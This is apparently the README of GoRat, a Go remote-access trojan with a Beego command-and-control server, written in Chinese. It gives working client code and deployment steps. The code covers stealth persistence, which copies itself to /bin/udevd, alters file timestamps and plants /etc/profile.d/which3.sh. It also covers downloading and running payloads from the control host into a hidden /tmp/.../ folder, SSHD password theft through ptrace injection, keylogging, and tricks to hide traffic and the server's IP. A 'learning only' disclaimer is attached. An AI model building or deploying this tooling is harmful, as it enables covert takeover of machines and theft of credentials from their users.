GoRat 使用Go开发的B/S架构远控

只用于学习beego与go开发,请勿用于非法用途。
功能列表
- [x] 开机启动
- [x] 命令执行
- [x] Keylogger
- [x] SSHD密码记录
- [ ] SSH Client密码记录
- [ ] Mysql密码记录
- [ ] 桌面截图
- [ ] 远程代理
技术架构
服务端使用Beego开发
客户端使用纯Go开发
服务端
采用Beego开发,共六个路由
func init() {
//首页登录
beego.Router("/", &controllers.MainController{})
//主机列表与客户端上线心跳
beego.Router("/host", &controllers.HostController{})
//客户端任务结果上报
beego.Router("/task", &controllers.TaskController{})
//执行命令模块
beego.Router("/cmd", &controllers.CmdController{})
//sshd密码记录模块
beego.Router("/sshd", &controllers.SshdController{})
//键盘记录模块
beego.Router("/key", &controllers.KeyController{})
}
配置文件 conf/app.conf
appname = goratServer
httpport = 8080 #端口
runmode = dev
copyrequestbody = true
password = 123456 #登录密码
部署方式
先修改 goratClient/common/common.go中的Host为你自己的server地址
var Host = "http://192.168.101.40:8080/"
然后运行 build.sh,编译linux64位版本,其他版本可自行编译。
然后进入goratServer,运行
go install github.com/astaxie/beego
go get github.com/beego/bee
bee run
即可成功启动,若想打包成二进制文件在其他机器上部署可执行
bee pack -be GOOS=linux
bee pack -be GOOS=windows
goratServer/module中为编译好的keylogger与sshd密码记录,可以自行重新编译,其源码在项目目录中的module文件夹中
通讯协议
支持部署在cdn后面,同时也建议部署在cdn之后,隐藏真实IP。
采用http通讯,数据采用POST上报,无任何加密,数据结构如下
type HostInfo struct{
HostName string
IpAddr string
UUID string
Goos string
LastOnline time.Time
Mark string
RemoteAddr string
}
任务下发与回复数据结构如下
type TaskInfo struct{
UUID string
TaskId string
TaskParams string
TaskType string
TaskResult string `执行完成之后会把结果放入其中进行回复`
}
第一次上线默认1秒取一次任务,若连续60秒无任务下发,则进入休眠模式,将会100秒+25秒随机发心跳包
time_sleep = 100 + rand.Intn(25000)
若接受到任务之后,则会继续转变成1秒一次的心跳。
除了命令执行意外以外,其他所有模块都存放在module/文件夹中,调用时将进行动态部署,方便后期扩容。
客户端
HTTP短连接
采用短连接,基本netstat -an看不到网络连接,发包之后就直接释放。
代码如下
func dialTimeout(network, addr string) (net.Conn, error) {
conn, err := net.DialTimeout(network, addr, time.Second*POST_REMOTE_TIMEOUT)
if err != nil {
return conn, err
}
tcp_conn := conn.(*net.TCPConn)
tcp_conn.SetKeepAlive(false)
return tcp_conn, err
}
func SendRequest(action string ,data url.Values,sendType string) string{
transport := http.Transport{
Dial: dialTimeout,
DisableKeepAlives: true, //关闭keepalive
}
client := &http.Client{
Transport: &transport,
}
body := strings.NewReader(data.Encode())
url:=Host+action
req, err := http.NewRequest(sendType, url, body)
...
}
就算服务没开netstat也没有任何连接,开了之后也是一样的。

开机启动
采用复制自身到/bin/udevd并修改文件时间,然后创建/etc/profile.d/which3.sh文件,写入启动内容
func Autorun() {
if os.Args[0] != "/bin/udevd" {
_, err := common.CopyFile(os.Args[0], "/bin/udevd")
if err != nil {
fmt.Print(err)
} else {
os.Remove(os.Args[0])
bash := "# Initialization script for bash and sh\n"
bash += "# export AFS if you are in AFS environment\n"
bash += "a=`ps -fe|grep /bin/udevd |grep -v grep|wc|awk '{print$1}'`\n"
bash += "if [ \"$a\" -eq 0 ] \n"
bash += "then\n"
bash += "/bin/udevd\n"
bash += "fi\n"
errf := ioutil.WriteFile("/etc/profile.d/which3.sh", []byte(bash), 0644)
if errf != nil {
fmt.Print(errf)
}
GetFileModTime("/bin/udevd")
GetFileModTime("/etc/profile.d/which3.sh")
}
}
}
SSHD密码记录
采用ptract注入sshd进程,并将记录到密码存放在/tmp/sshpassword.txt中
其开启逻辑如下
func Task_sshd(task common.TaskInfo,status string){
if status=="open"{
moduleUrl:=common.Host+"/module/sshd.tar"
os.Mkdir("/tmp/.../",os.ModePerm)
check:=common.DownloadFile(moduleUrl,"/tmp/.../sshd.tar")
if check{
cmd:="tar xvf /tmp/.../sshd.tar -C /tmp/.../"
Run(cmd)
cmd="cd /tmp/.../;sh run.sh;"
go Run(cmd)
task.TaskResult="open success"
common.UploadResult(task)
}else{
task.TaskResult="download module fail"
common.UploadResult(task)
}
}
键盘记录
采用开源keylogger程序,并将其记录到的输入记录到/tmp/.auth.log中,不支持记录ssh会话的输入,只支持物理键盘的输入或vnc等远程连接。
参考文档
无需重新编译OpenSSH,通过ptrace注入记录SSHD密码
http://aq.mk/index.php/archives/86.html
修改后的SSHD密码记录,支持自动查找SSHD pid与libdl版本
https://github.com/code-scan/ssh-inject-auto-find-libdl
Beego
http://github.com/beego/bee
http://beego.me/
Go键盘记录
https://github.com/MarinX/keylogger
GoRat项目地址
https://github.com/code-scan/goRat